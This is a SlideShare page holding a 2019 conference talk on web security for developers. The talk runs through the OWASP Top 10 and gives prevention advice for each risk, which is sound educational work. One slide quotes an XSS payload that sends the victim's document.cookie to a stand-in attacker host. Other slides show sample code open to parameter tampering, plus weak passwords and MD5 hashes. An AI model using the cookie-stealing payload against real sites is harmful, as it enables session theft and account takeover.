Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

TechEvent 2019: Security 101 für Web Entwickler; Roland Krüger - Trivadis

26 views

Published on

TechEvent 2019: Security 101 für Web Entwickler; Roland Krüger - Trivadis

Published in: Technology
  • Be the first to comment

  • Be the first to like this

TechEvent 2019: Security 101 für Web Entwickler; Roland Krüger - Trivadis

  1. 1. blog.oio.de@Roland_Krueger Security 101 for Web Developers Roland
  2. 2. Roland Krüger • Trivadis Mannheim @Roland_Krueger blog.oio.de
  3. 3. Open Web Application Security Project
  4. 4. OWASP Top 10 Items
  5. 5. OWASP Cheat Sheets https://cheatsheetseries.owasp.org
  6. 6. OWASP Top 10 1. Injection 2. Broken Authentication 3. Sensitive Data Exposure 4. XML External Entities (XXE) 5. Broken Access Control 6. Security Misconfiguration 7. Cross-Site Scripting (XSS) 8. Insecure Deserialization 9. Using Components with Known Vulnerabilities 10. Insufficient Logging & Monitoring
  7. 7. OWASP Top 10 1. Injection 2. Broken Authentication 3. Sensitive Data Exposure 4. XML External Entities (XXE) 5. Broken Access Control 6. Security Misconfiguration 7. Cross-Site Scripting (XSS) 8. Insecure Deserialization 9. Using Components with Known Vulnerabilities 10. Insufficient Logging & Monitoring
  8. 8. 1. Injection
  9. 9. 1. Injection
  10. 10. 5. Broken Access Control
  11. 11. 5. Broken Access Control Access restrictions to application resources are not properly enforced. Photo by Jonathon Young on Unsplash
  12. 12. • Attacker manipulates URL parameter pstmt.setString(1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery(); http://example.com/app/accountInfo?acct=notmyacct 5. Broken Access Control: Example • Application uses unverified data in a SQL call
  13. 13. 5. Broken Access Control: How to Prevent • Implement access control on server-side • Deny by default • Log failures • Rate limit API access • Unit test access control
  14. 14. 7. Cross-Site Scripting (XSS)
  15. 15. • Attacker modifies the CC parameter in the browser to (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>"; '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'. 7. Cross-Site Scripting (XSS) Application includes unvalidated an unescaped user input as part of HTML output
  16. 16. Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com XSS: How to Prevent • Use frameworks that prevent XSS by design • Escape untrusted data • Use Content Security Policy
  17. 17. 2. Broken Authentication
  18. 18. Uses weak credential recovery processes
  19. 19. Session ID Handling
  20. 20. Permits default, weak, or well-known passwords USER_NAME PASSWORD admin admin scott tiger johnd 123456789 janed querty dieter.develop password dude password
  21. 21. Uses plain text or weakly hashed passwords USER_NAME PASSWORD_HASH_MD5 admin 21232f297a57a5a743894a0e4a801fc3 scott 43b90920409618f188bfc6923f16b9fa johnd 25f9e794323b453885f5181f1b624d0b janed 356d0f282e7da14cb73f2614d191933b dieter.develop 5f4dcc3b5aa765d61d8327deb882cf99 dude 5f4dcc3b5aa765d61d8327deb882cf99
  22. 22. Broken Authentication: How to Prevent Multi-factor authentication
  23. 23. Do Not Permit Weak Passwords • Complex password rules? • Prevent weak passwords, e.g. myPassw0rd! • Solution: Password blacklists
  24. 24. Prevent Account Enumeration Attacks Source: https://www.troyhunt.com/tag/ashley-madison/
  25. 25. The Ashley Madison Hack • Forgot Password?-response for invalid accounts: • Response for valid accounts:
  26. 26. Broken Authentication: How to Prevent • What else? • Do not ship with default credentials • Limit or delay failed login attempts • Log possible attacks Photo by John Salvino on Unsplash
  27. 27. 3. Sensitive Data Exposure
  28. 28. 3. Sensitive Data Exposure
  29. 29. 3. Sensitive Data Exposure • Data is transmitted in clear text • Sensitive data (incl. backups) is stored unencrypted • Weak or old cryptographic algorithms are used • User agent does not verify if the received server certificate is valid
  30. 30. Sensitive Data Exposure: How to Prevent • Use TLS everywhere • Don‘t include unencrypted (HTTP) content on a secured (HTTPS) page • Datensparsamkeit (data minimization) • Encrypt sensitive data at rest Photo by Dynamic Wang on Unsplash
  31. 31. Properly Handle Passwords • Never store passwords in clear text • Don‘t encrypt passwords, hash them • Never provide password recovery function • (“Send me my forgotten password“)
  32. 32. Dictionary Attacks and Rainbow Tables Defense • Hash functions must be slow • Argon2, scrypt, bcrypt, or PBKDF2 • Don‘t even think about MD5 or SHA1 • Use salted passwords to prevent pre-computed hash databases
  33. 33. Salted Passwords Function Hash hash("hello") 5d41402abc4b2a76b9719d911017c592 hash("hello") 5d41402abc4b2a76b9719d911017c592 hash("hello" + "QxLUF1bgIAdeQX") 61819a2e9b721831243eba1aeaba8486 hash("hello" + "YYLmfY6IehjZMQ") 104f4f46d8222b57cbd543d75a3b8947
  34. 34. 6. Security Misconfiguration
  35. 35. 6. Security Misconfiguration • Missing security hardening accross any part of the application stack • Default accounts enabled • Overly informative error messages • Security settings in app servers, app frameworks, databases, etc. not set to secure values • Server does not send security headers
  36. 36. Default Error Pages with Stack Traces
  37. 37. Unnecessary Features Enabled
  38. 38. Security Misconfiguration: How to prevent • Implement secure installation processes • Use repeatable hardening process • Automate identical configuration of development, QA, and production environments • Use minimal platform without unnecessary features, components, and samples
  39. 39. 8. Insecure Deserialization
  40. 40. 8. Insecure Deserialization Deserialize hostile or tampered objects supplied by an attacker Tampering by attacker
  41. 41. Insecure Deserialization: How to Prevent • Integrity checks: digital signatures on serialized objects • Use language-agnostic formats, e.g. JSON • Enforce strict type constraints • Log deserialization exceptions and failures • Prevent remote execution, e.g. Java RMI
  42. 42. 9. Using Components with Known Vulnerabilities
  43. 43. 9. Components with Known Vulnerabilities • Application uses vulnerable, unsupported, or out of date software • No regular scanning for vulnerabilities • No upgrade of the underlying platform, frameworks, and dependencies in a timely manner Photo by Anastasia Dulgier on Unsplash
  44. 44. How to Prevent • Establish regular update policy • Scan for vulnerable dependencies • Continuously monitor sources like • CVE (Common Vulnerabilities and Exposures, cve.mitre.org) or • NVD (National Vulnerability Database, nvd.nist.gov) • Obtain components from official sources over secure links • Prefer signed packages https://www.owasp.org/index.php/OWASP_Dependency_Check https://github.com/retirejs/retire.js/
  45. 45. Example: The Equifax Breach • Equifax - a U.S. consumer credit reporting agency • Massive data breach in September 2017 • Breach was facilitated using a flaw in Apache Struts • CVE-2017-5638, CVE-2017-9805 • Insecure deserialization in the REST communication plugin • A patch was readily available but was not applied. https://blog.avatao.com/Equifax-and-Apache-Struts/
  46. 46. 4. XML External Entities (XXE)
  47. 47. 4. XML External Entities Attacks are facilitated by insecure XML processors
  48. 48. 10. Insufficient Logging & Monitoring
  49. 49. 10. Insufficient Logging & Monitoring • Auditable events are not logged • Warnings and errors generate no or unclear log messages • Logs and APIs not monitored for suspicious activity • Attackers can probe systems undetected • Logs only stored locally Photo by Rainer Bleek on Unsplash
  50. 50. Conclusion Get informed! Sensitize your peers! Security first!
  51. 51. The Key Takeaways Configure! Validate! Monitor!

×